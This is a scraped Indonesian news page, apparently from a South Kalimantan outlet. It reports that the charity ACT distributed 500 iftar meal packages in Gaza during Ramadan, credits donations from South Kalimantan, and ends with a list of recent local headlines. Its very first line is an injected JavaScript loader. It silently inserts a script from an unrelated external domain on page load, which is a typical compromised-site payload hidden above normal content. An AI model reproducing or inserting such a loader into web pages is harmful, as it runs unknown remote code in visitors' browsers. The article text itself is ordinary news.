(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
ACT KALSEL

ACT Bagikan 500 Paket Berbuka Puasa untuk Palestina


GAZA, Sejak hari pertama Ramadhan, Aksi Cepat Tanggap (ACT) terus berupaya memenuhi kebutuhan pangan masyarakat Palestina hingga akhir Ramadhan. Senin (6/5) lalu, puluhan anak di lapangan Johr Al Deek, wilayah Gaza Tengah berkumpul menerima paket iftar Aksi Cepat Tanggap (ACT). Senyum anak-anak Palestina menjadi bukti nyata ACT terus membersamai warga Palestina di tengah kecamuk perang di bulan Ramadhan ini. 500 paket iftar pun telah didistribusikan kepada 500 warga yang tersebar di sekitar Gaza, yakni di Al Amreekiya dan Al Qarya Al Badawiya.

Pasca serangan yang didaratkan Israel ke Palestina dua malam sebelum Ramadhan, kondisi Ramadhan terasa tidak bersahabat. Walau demikian. Walau kondisi terasa tidak bersahabat, Andi Noor Faradiba dari tim Global Humanity Response (GHR) – ACT mengatakan, selama Ramadan akan ada paket makanan siap santap yang dibagikan setiap sahur dan berbuka puasa.

 “Paket iftar ini kami distribusikan langsung dari Dapur Umum Indonesia di Gaza. Insya Allah ACT akan terus melakukan rangkaian distribusi iftar bersamaan dengan distribusi paket sahur selama Ramadhan ini di Gaza. Penerima manfaat dari pembagian iftar kali ini adalah masyarakat prasejahtera yang tinggal di Gaza,” ujarnya.

Paket-paket yang diberikan pada awal Ramadhan itu terdiri dari nasi dan ayam, serta beberapa makanan lain untuk menunjang nutrisi mereka, seperti buah dan jus. “Ramadhan ini menjadi Ramadhan yang berat buat warga Palestina, khususnya di Gaza. Serangan dari Israel memang seolah tidak mengambil jeda, bahkan ketika bulan suci tiba. Dua malam menjelang bulan Ramadan, Israel menjatuhkan serangan udara di tiga belas titik di Gaza. Selain menyasar penduduk yang sangat membutuhkan, kami juga memberikan sajian sahur ini untuk para lansia di sebuah rumah jompo di Gaza,” tambah Faradiba.

Terdistribusinya paket ifthor tersebut tentu tak lepas dari peran dan kontribusi dari masyarakat Kalimantan Selatan. Plt Kepala Cabang ACT Kalimantan Selatan mengakui sejak terjadi serangan di Gaza pada awal Ramadan kemarin, donasi untuk Palestina terus mengalir. “Alhamdulillah seruan untuk menguatkan Palestina disambut positif para dermawan di Kalsel. Semoga kepedulian ini terus mengalir, Palestina masih membutuhkan uluran tangan kita,” terang Zainal.

Al Jazeera mencatat 26 korban jiwa dalam serangan tersebut, diperkirakan dua orang dari 26 korban jiwa itu merupakan anak-anak yang masih berusia balita. Sementara dilaporkan juga oleh ANTARA, sebanyak 177 orang luka, dan 135 rumah rusak akibat dari serangan lalu.(act)

Reporter:ACT
Editor:Cell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.